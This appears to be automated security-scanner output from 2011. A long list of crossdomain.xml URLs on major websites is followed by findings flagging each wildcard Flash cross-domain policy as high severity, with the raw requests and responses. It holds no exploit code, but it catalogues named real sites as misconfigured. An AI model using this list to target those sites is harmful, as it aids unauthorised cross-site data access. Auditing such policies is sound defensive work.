http://www.blastro.com/crossdomain.xml
http://www.blogtv.com/crossdomain.xml
http://www.bluemountain.com/crossdomain.xml
http://www.bnet.com/crossdomain.xml
http://www.bodybuilding.com/crossdomain.xml
http://www.britannica.com/crossdomain.xml
http://www.businessweek.com/crossdomain.xml
http://www.buy.com/crossdomain.xml
http://www.cabelas.com/crossdomain.xml
http://www.canada.com/crossdomain.xml
http://www.candystand.com/crossdomain.xml
http://www.caranddriver.com/crossdomain.xml
http://www.careerbuilder.com/crossdomain.xml
http://www.careerrookie.com/crossdomain.xml
http://www.carnival.com/crossdomain.xml
http://www.cars.com/crossdomain.xml
http://www.cartoonnetwork.com/crossdomain.xml
http://www.casttv.com/crossdomain.xml
http://www.cbc.ca/crossdomain.xml
http://www.cbsnews.com/crossdomain.xml
http://www.chacha.com/crossdomain.xml
http://www.charlotteobserver.com/crossdomain.xml
http://www.chemistry.com/crossdomain.xml
http://www.chevrolet.com/crossdomain.xml
http://www.chicagotribune.com/crossdomain.xml
http://www.chow.com/crossdomain.xml
http://www.chron.com/crossdomain.xml
http://www.cisco.com/crossdomain.xml
http://www.classmates.com/crossdomain.xml
http://www.clocklink.com/crossdomain.xml
http://www.clubpenguin.com/crossdomain.xml
http://www.cnbc.com/crossdomain.xml
http://www.cnet.com/crossdomain.xml
http://www.cnn.com/crossdomain.xml
http://www.cobaltnitra.com/crossdomain.xml
http://www.collegeboard.com/crossdomain.xml
http://www.comcast.net/crossdomain.xml
http://www.consumerreports.org/crossdomain.xml
http://www.consumersearch.com/crossdomain.xml
http://www.costco.com/crossdomain.xml
http://www.dailyfinance.com/crossdomain.xml
http://www.dailykos.com/crossdomain.xml
http://www.dailymotion.com/crossdomain.xml
http://www.dallascowboys.com/crossdomain.xml
http://www.dallasnews.com/crossdomain.xml
http://www.datpiff.com/crossdomain.xml
http://www.dell.com/crossdomain.xml
http://www.demdex.net/crossdomain.xml
http://www.dickssportinggoods.com/crossdomain.xml
http://www.directv.com/crossdomain.xml
http://www.discovery.com/crossdomain.xml
http://www.diynetwork.com/crossdomain.xml
http://www.dslreports.com/crossdomain.xml
http://www.dt00.net/crossdomain.xml
http://www.ebay.ca/crossdomain.xml
http://www.economist.com/crossdomain.xml
http://www.edmunds.com/crossdomain.xml
http://www.eharmony.com/crossdomain.xml
http://www.elle.com/crossdomain.xml
http://www.emedtv.com/crossdomain.xml
http://www.engadget.com/crossdomain.xml
http://www.entertonement.com/crossdomain.xml
http://www.eonline.com/crossdomain.xml
http://www.epa.gov/crossdomain.xml
http://www.etsy.com/crossdomain.xml
http://www.evite.com/crossdomain.xml
http://www.expedia.com/crossdomain.xml
http://www.factmonster.com/crossdomain.xml
http://www.familyeducation.com/crossdomain.xml
http://www.famousfootwear.com/crossdomain.xml
http://www.fandango.com/crossdomain.xml
http://www.fanfiction.net/crossdomain.xml
http://www.fanpop.com/crossdomain.xml
http://www.fantage.com/crossdomain.xml
http://www.fastcompany.com/crossdomain.xml
http://www.fedex.com/crossdomain.xml
http://www.fidelity.com/crossdomain.xml
http://www.finishline.com/crossdomain.xml
http://www.food.com/crossdomain.xml
http://www.foodnetwork.com/crossdomain.xml
http://www.forbes.com/crossdomain.xml
http://www.freelotto.com/crossdomain.xml
http://www.ft.com/crossdomain.xml
http://www.ftd.com/crossdomain.xml
http://www.funbrain.com/crossdomain.xml
http://www.funnyordie.com/crossdomain.xml
http://www.gaiaonline.com/crossdomain.xml
http://www.gamespot.com/crossdomain.xml
http://www.gamestop.com/crossdomain.xml
http://www.gamevance.com/crossdomain.xml
http://www.gap.com/crossdomain.xml
http://www.gather.com/crossdomain.xml
http://www.geico.com/crossdomain.xml
http://www.gifts.com/crossdomain.xml
http://www.godaddy.com/crossdomain.xml
http://www.goodreads.com/crossdomain.xml
http://www.guardian.co.uk/crossdomain.xml
http://www.hallmark.com/crossdomain.xml
http://www.hbo.com/crossdomain.xml
http://www.healthcentral.com/crossdomain.xml
http://www.hgtv.com/crossdomain.xml
http://www.hhs.gov/crossdomain.xml
http://www.hi5.com/crossdomain.xml
http://www.history.com/crossdomain.xml
http://www.hollywood.com/crossdomain.xml
http://www.hollywoodlife.com/crossdomain.xml
http://www.homedepot.com/crossdomain.xml
http://www.hp.com/crossdomain.xml
http://www.hsn.com/crossdomain.xml
http://www.hulu.com/crossdomain.xml
http://www.ichotelsgroup.com/crossdomain.xml
http://www.ikea.com/crossdomain.xml
http://www.ilike.com/crossdomain.xml
http://www.imdb.com/crossdomain.xml
http://www.indiatimes.com/crossdomain.xml
http://www.infoplease.com/crossdomain.xml
http://www.intel.com/crossdomain.xml
http://www.intuit.com/crossdomain.xml
http://www.ioffer.com/crossdomain.xml
http://www.istockphoto.com/crossdomain.xml
http://www.itt-tech.edu/crossdomain.xml
http://www.iwin.com/crossdomain.xml
http://www.jtv.com/crossdomain.xml
http://www.justin.tv/crossdomain.xml
http://www.kaboose.com/crossdomain.xml
http://www.kbb.com/crossdomain.xml
http://www.kenexa.com/crossdomain.xml
http://www.king.com/crossdomain.xml
http://www.kmart.com/crossdomain.xml
http://www.kodakgallery.com/crossdomain.xml
http://www.kraftrecipes.com/crossdomain.xml
http://www.krillion.com/crossdomain.xml
http://www.last.fm/crossdomain.xml
http://www.latimes.com/crossdomain.xml
http://www.legacy.com/crossdomain.xml
http://www.lego.com/crossdomain.xml
http://www.livecams.com/crossdomain.xml
http://www.livenation.com/crossdomain.xml
http://www.llbean.com/crossdomain.xml
http://www.macys.com/crossdomain.xml
http://www.mail.com/crossdomain.xml
http://www.marykay.com/crossdomain.xml
http://www.mastercard.com/crossdomain.xml
http://www.match.com/crossdomain.xml
http://www.mcafee.com/crossdomain.xml
http://www.medcohealth.com/crossdomain.xml
http://www.medscape.com/crossdomain.xml
http://www.meebo.com/crossdomain.xml
http://www.meetlocals.com/crossdomain.xml
http://www.meetup.com/crossdomain.xml
http://www.megaupload.com/crossdomain.xml
http://www.megavideo.com/crossdomain.xml
http://www.merck.com/crossdomain.xml
http://www.merriam-webster.com/crossdomain.xml
http://www.military.com/crossdomain.xml
http://www.mindjolt.com/crossdomain.xml
http://www.miniclip.com/crossdomain.xml
http://www.miracleworkers.com/crossdomain.xml
http://www.mocospace.com/crossdomain.xml
http://www.modelmayhem.com/crossdomain.xml
http://www.moshimonsters.com/crossdomain.xml
http://www.moviesunlimited.com/crossdomain.xml
http://www.msnbc.com/crossdomain.xml
http://www.mybloglog.com/crossdomain.xml
http://www.mycokerewards.com/crossdomain.xml
http://www.myheritage.com/crossdomain.xml
http://www.mylifetime.com/crossdomain.xml
http://www.myspace.com/crossdomain.xml
http://www.myxer.com/crossdomain.xml
http://www.myyearbook.com/crossdomain.xml
http://www.nascar.com/crossdomain.xml
http://www.nationalgeographic.com/crossdomain.xml
http://www.nba.com/crossdomain.xml
http://www.nbc.com/crossdomain.xml
http://www.nbcnewyork.com/crossdomain.xml
http://www.netflix.com/crossdomain.xml
http://www.newegg.com/crossdomain.xml
http://www.newport-news.com/crossdomain.xml
http://www.newsvine.com/crossdomain.xml
http://www.newsweek.com/crossdomain.xml
http://www.nfl.com/crossdomain.xml
http://www.nhl.com/crossdomain.xml
http://www.nike.com/crossdomain.xml
http://www.npr.org/crossdomain.xml
http://www.nwsource.com/crossdomain.xml
http://www.nypost.com/crossdomain.xml
http://www.nytimes.com/crossdomain.xml
http://www.opentable.com/crossdomain.xml
http://www.opera.com/crossdomain.xml
http://www.opinionshere.com/crossdomain.xml
http://www.oprah.com/crossdomain.xml
http://www.oracle.com/crossdomain.xml
http://www.ourstage.com/crossdomain.xml
http://www.overstock.com/crossdomain.xml
http://www.pandora.com/crossdomain.xml
http://www.parentsconnect.com/crossdomain.xml
http://www.partypoker.com/crossdomain.xml
http://www.paypal.com/crossdomain.xml
http://www.pbs.org/crossdomain.xml
http://www.pch.com/crossdomain.xml
http://www.pchlotto.com/crossdomain.xml
http://www.petfinder.com/crossdomain.xml
http://www.petside.com/crossdomain.xml
http://www.petsmart.com/crossdomain.xml
http://www.pga.com/crossdomain.xml
http://www.pgatour.com/crossdomain.xml
http://www.philly.com/crossdomain.xml
http://www.picnik.com/crossdomain.xml
http://www.playsushi.com/crossdomain.xml
http://www.plentyoffish.com/crossdomain.xml
http://www.pogo.com/crossdomain.xml
http://www.politico.com/crossdomain.xml
http://www.politicsdaily.com/crossdomain.xml
http://www.poptropica.com/crossdomain.xml
http://www.potterybarn.com/crossdomain.xml
http://www.progressive.com/crossdomain.xml
http://www.psu.edu/crossdomain.xml
http://www.realage.com/crossdomain.xml
http://www.rei.com/crossdomain.xml
http://www.reuters.com/crossdomain.xml
http://www.reverbnation.com/crossdomain.xml
http://www.rightathome.com/crossdomain.xml
http://www.rivals.com/crossdomain.xml
http://www.rockyou.com/crossdomain.xml
http://www.rotoworld.com/crossdomain.xml
http://www.rottentomatoes.com/crossdomain.xml
http://www.roxwel.com/crossdomain.xml
http://www.salesforce.com/crossdomain.xml
http://www.salon.com/crossdomain.xml
http://www.scholastic.com/crossdomain.xml
http://www.sears.com/crossdomain.xml
http://www.seattlepi.com/crossdomain.xml
http://www.shangri-la.com/crossdomain.xml
http://www.shopathome.com/crossdomain.xml
http://www.shopstyle.com/crossdomain.xml
http://www.shutterfly.com/crossdomain.xml
http://www.simon.com/crossdomain.xml
http://www.simplyhired.com/crossdomain.xml
http://www.sixflags.com/crossdomain.xml
http://www.sky.com/crossdomain.xml
http://www.skype.com/crossdomain.xml
http://www.slate.com/crossdomain.xml
http://www.slide.com/crossdomain.xml
http://www.smarter.com/crossdomain.xml
http://www.smilebox.com/crossdomain.xml
http://www.smileycentral.com/crossdomain.xml
http://www.snapfish.com/crossdomain.xml
http://www.softonic.com/crossdomain.xml
http://www.spanishdict.com/crossdomain.xml
http://www.spellingcity.com/crossdomain.xml
http://www.sportsauthority.com/crossdomain.xml
http://www.star-telegram.com/crossdomain.xml
http://www.startribune.com/crossdomain.xml
http://www.stumbleupon.com/crossdomain.xml
http://www.stylelist.com/crossdomain.xml
http://www.superpages.com/crossdomain.xml
http://www.symantec.com/crossdomain.xml
http://www.t-mobile.com/crossdomain.xml
http://www.tagged.com/crossdomain.xml
http://www.target.com/crossdomain.xml
http://www.tarot.com/crossdomain.xml
http://www.tasteofhome.com/crossdomain.xml
http://www.telegraph.co.uk/crossdomain.xml
http://www.thefrisky.com/crossdomain.xml
http://www.thirdage.com/crossdomain.xml
http://www.ticketmaster.com/crossdomain.xml
http://www.tigerdirect.com/crossdomain.xml
http://www.tinypic.com/crossdomain.xml
http://www.tmz.com/crossdomain.xml
http://www.toptenreviews.com/crossdomain.xml
http://www.toyota.com/crossdomain.xml
http://www.toysrus.com/crossdomain.xml
http://www.tracfone.com/crossdomain.xml
http://www.travelocity.com/crossdomain.xml
http://www.tripadvisor.com/crossdomain.xml
http://www.true.com/crossdomain.xml
http://www.trulia.com/crossdomain.xml
http://www.tv.com/crossdomain.xml
http://www.tvguide.com/crossdomain.xml
http://www.univision.com/crossdomain.xml
http://www.ups.com/crossdomain.xml
http://www.usatoday.com/crossdomain.xml
http://www.use.com/crossdomain.xml
http://www.usgs.gov/crossdomain.xml
http://www.usmagazine.com/crossdomain.xml
http://www.vast.com/crossdomain.xml
http://www.verizon.net/crossdomain.xml
http://www.victoriassecret.com/crossdomain.xml
http://www.videobash.com/crossdomain.xml
http://www.walletpop.com/crossdomain.xml
http://www.walmart.com/crossdomain.xml
http://www.warnerbros.com/crossdomain.xml
http://www.washingtonpost.com/crossdomain.xml
http://www.weather.com/crossdomain.xml
http://www.webshots.com/crossdomain.xml
http://www.weightwatchers.com/crossdomain.xml
http://www.wetpaint.com/crossdomain.xml
http://www.whitehouse.gov/crossdomain.xml
http://www.wimp.com/crossdomain.xml
http://www.wn.com/crossdomain.xml
http://www.womansday.com/crossdomain.xml
http://www.worldwinner.com/crossdomain.xml
http://www.wsbtv.com/crossdomain.xml
http://www.wwe.com/crossdomain.xml
http://www.yallwire.com/crossdomain.xml
http://www.yellowpages.com/crossdomain.xml
http://www.yontoo.com/crossdomain.xml
http://www.zap2it.com/crossdomain.xml
http://www.zappos.com/crossdomain.xml
http://www.zazzle.com/crossdomain.xml
http://www.zmags.com/crossdomain.xml
http://www.zshare.net/crossdomain.xml
http://www.zwinky.com/crossdomain.xml
http://www.zynga.com/crossdomain.xml
http://www.active.com/crossdomain.xml
http://www.allmenus.com/crossdomain.xml
http://www.autotrader.com/crossdomain.xml
http://www.autotraderstatic.com/crossdomain.xml
http://www.blackplanet.com/crossdomain.xml
http://www.boston.com/crossdomain.xml
http://www.christianbook.com/crossdomain.xml
http://www.chuckecheese.com/crossdomain.xml
http://www.cincinnati.com/crossdomain.xml
http://www.continental.com/crossdomain.xml
http://www.deadline.com/crossdomain.xml
http://www.deviantart.com/crossdomain.xml
http://www.dreamstime.com/crossdomain.xml
http://www.elyrics.net/crossdomain.xml
http://www.elyricsworld.com/crossdomain.xml
http://www.epicurious.com/crossdomain.xml
http://www.greatschools.org/crossdomain.xml
http://www.icontact.com/crossdomain.xml
http://www.inbox.com/crossdomain.xml
http://www.iwon.com/crossdomain.xml
http://www.justluxe.com/crossdomain.xml
http://www.kazaa.com/crossdomain.xml
http://www.kodak.com/crossdomain.xml
http://www.livejournal.com/crossdomain.xml
http://www.loc.gov/crossdomain.xml
http://www.lowfares.com/crossdomain.xml
http://www.lyricsmode.com/crossdomain.xml
http://www.marriott.com/crossdomain.xml
http://www.michaels.com/crossdomain.xml
http://www.mlive.com/crossdomain.xml
http://www.motime.com/crossdomain.xml
http://www.movietickets.com/crossdomain.xml
http://www.orbitz.com/crossdomain.xml
http://www.panoramio.com/crossdomain.xml
http://www.phoenix.edu/crossdomain.xml
http://www.playdom.com/crossdomain.xml
http://www.regions.com/crossdomain.xml
http://www.rr.com/crossdomain.xml
http://www.sacbee.com/crossdomain.xml
http://www.sharebuilder.com/crossdomain.xml
http://www.stltoday.com/crossdomain.xml
http://www.stlyrics.com/crossdomain.xml
http://www.talkingpointsmemo.com/crossdomain.xml
http://www.tamu.edu/crossdomain.xml
http://www.thisis50.com/crossdomain.xml
http://www.thomasnet.com/crossdomain.xml
http://www.tradekey.com/crossdomain.xml
http://www.umich.edu/crossdomain.xml
http://www.verisign.com/crossdomain.xml
http://www.vimeo.com/crossdomain.xml
http://www.vistaprint.com/crossdomain.xml
http://www.walgreens.com/crossdomain.xml
http://www.xe.com/crossdomain.xml

7.1. http://ad.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 258
Last-Modified: Thu, 18 Sep 2003 20:42:14 GMT
Date: Sat, 02 Apr 2011 12:56:49 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

7.2. http://fls.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: fls.doubleclick.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy
Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT
Date: Sat, 02 Apr 2011 03:31:36 GMT
Expires: Thu, 31 Mar 2011 03:30:21 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Age: 37531
Cache-Control: public, max-age=86400

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

7.3. http://s0.2mdn.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s0.2mdn.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: s0.2mdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy
Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT
Date: Sat, 02 Apr 2011 11:30:43 GMT
Expires: Thu, 31 Mar 2011 11:30:14 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Age: 5168
Cache-Control: public, max-age=86400

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

7.4. http://smp.adviva.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://smp.adviva.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: smp.adviva.net

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:57:10 GMT
Server: Apache/2.2.11 (Unix) mod_perl/2.0.4 Perl/v5.10.0
Last-Modified: Tue, 17 Nov 2009 11:38:46 GMT
ETag: "c20ce1-110-4788f91a4dd80"
Accept-Ranges: bytes
Content-Length: 272
Connection: close
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-d
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.5. http://www.43things.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.43things.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.43things.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:13:04 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Wed, 11 May 2005 21:41:11 GMT
Accept-Ranges: bytes
Content-Length: 204
Cache-Control: max-age=1
Expires: Sat, 02 Apr 2011 14:13:05 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

7.6. http://www.about.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.about.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain, and uses a wildcard to specify allowed domains.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.about.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 12:37:24 GMT
Server: Apache
Vary: *
PRAGMA: no-cache
P3P: CP="IDC DSP COR DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=3600
Expires: Sat, 02 Apr 2011 13:37:24 GMT
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-access-from domain="*.specials.about.com" />
...[SNIP]...

7.7. http://www.accesshollywood.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.accesshollywood.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.accesshollywood.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7a DAV/2 PHP/5.1.6
Content-Type: application/xml
Content-Length: 232
X-Aicache-OS: 64.210.193.113:80
Expires: Sat, 02 Apr 2011 13:45:42 GMT
Date: Sat, 02 Apr 2011 13:45:42 GMT
Connection: close
Set-Cookie: ak-mobile-detected=no; expires=Sun, 03-Apr-2011 13:45:42 GMT; path=/
Vary: User-Agent

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="all"/>
   <allow-access-from domain="*" />
   <allow-http-request-headers-from domain="*" heade
...[SNIP]...

7.8. http://www.accuweather.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.accuweather.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain, uses a wildcard to specify allowed domains, and allows access from specific other domains.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.accuweather.com

Response

HTTP/1.0 200 OK
Cache-Control: max-age=7200
Content-Length: 1403
Content-Type: text/xml
Last-Modified: Tue, 09 Feb 2010 20:00:39 GMT
Accept-Ranges: bytes
ETag: "c28f298dc2a9ca1:322cf"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 12:43:39 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-access-from domain="*.accuweather.com" />
<allow-access-from domain="*.accuweatherchannel.com" />
<allow-access-from domain="*.discovery.com" />
<allow-access-from domain="*.oddcast.com" />
<allow-access-from domain="*.ucview.com" />
<allow-access-from domain="*.2mdn.net" secure="true" />
...[SNIP]...
<allow-access-from domain="*.doubleclick.net" secure="true" />
...[SNIP]...
<allow-access-from domain="*.doubleclick.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.adcdn.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.dartmotif.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.aolcdn.com" secure="true" />
...[SNIP]...
<allow-access-from domain="maps.google.com" />
<allow-access-from domain="maps.yahooapis.com"/>
<allow-access-from domain="spm161.brinkster.net" />
<allow-access-from domain="www.dotglu.com" />
<allow-access-from domain="www.johnfrieda.com" />
<allow-access-from domain="www.travelboards.com" />
<allow-access-from domain="www.topix.com"/>
<allow-access-from domain="66.42.146.50" />
<allow-access-from domain="66.42.146.66" />
<allow-access-from domain="68.167.121.226" />
...[SNIP]...

7.9. http://www.addictinggames.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.addictinggames.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.addictinggames.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 Resin/3.1.9 PHP/5.3.1
Last-Modified: Fri, 11 Feb 2011 23:55:49 GMT
Accept-Ranges: bytes
Content-Length: 421
Cache-Control: public, max-age=86400
Content-Type: application/xml
Date: Sat, 02 Apr 2011 13:35:47 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>

<site-control permitted-cross-domain-po
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.10. http://www.adriver.ru/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.adriver.ru
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.adriver.ru

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:05:32 GMT
Server: Apache
Last-Modified: Thu, 14 Oct 2010 08:34:06 GMT
ETag: "458c0d-ef-4928f92b29b80"
Accept-Ranges: bytes
Content-Length: 239
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="by-content-type"/>
   <allow-access-from domain="*" to-ports="80"/>
   <allow-http-request-headers-from domain="
...[SNIP]...

7.11. http://www.ajc.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ajc.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ajc.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Length: 100
Content-Type: text/xml
Cache-Control: max-age=1
Date: Sat, 02 Apr 2011 13:40:39 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.12. http://www.allvoices.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.allvoices.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.allvoices.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:32:32 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Thu, 31 Mar 2011 17:01:16 GMT
ETag: "578d4b-65-49fca3dce8f00"
Accept-Ranges: bytes
Content-Length: 101
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

7.13. http://www.ally.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ally.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ally.com

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
X-UA-Compatible: IE=8
X-UA-Compatible: IE=8
Date: Sat, 02 Apr 2011 13:43:18 GMT
Content-Length: 279
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-pol
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

7.14. http://www.ancestry.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ancestry.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.ancestry.com

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/7.0
Set-Cookie: VARSESSION=S=2To6XE41OEWVVJSHFtyXpg%3d%3d&SLI=0&FIRSTSESSION=1&ITT=0; domain=.ancestry.com; path=/
Set-Cookie: ANCUUID=jSELjk5wn-UrtNkDbm1ZoC; domain=.ancestry.com; expires=Wed, 02-Apr-2031 13:23:58 GMT; path=/
Set-Cookie: ATT=0; domain=.ancestry.com; path=/
Set-Cookie: ANCATT=0; domain=.ancestry.com; path=/
Set-Cookie: SAC=; domain=.ancestry.com; expires=Tue, 02-Apr-1991 14:23:58 GMT; path=/
Set-Cookie: RMEATT=; domain=.ancestry.com; expires=Tue, 02-Apr-1991 14:23:58 GMT; path=/
Set-Cookie: VARS=; domain=.ancestry.com; expires=Tue, 02-Apr-1991 14:23:58 GMT; path=/
X-AspNet-Version: 4.0.30319
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI NAV INT PRE"
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:23:57 GMT
Connection: close
Content-Length: 227

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

7.15. http://www.answerstv.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answerstv.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.answerstv.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Mon, 13 Oct 2008 07:24:02 GMT
Accept-Ranges: bytes
ETag: "0d579aa42dc91:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:43:06 GMT
Connection: close
Content-Length: 355

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

7.16. http://www.apartmenthomeliving.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.apartmenthomeliving.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.apartmenthomeliving.com

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:18:34 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Thu, 28 Oct 2010 13:52:12 GMT
Accept-Ranges: bytes
Content-Length: 202
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
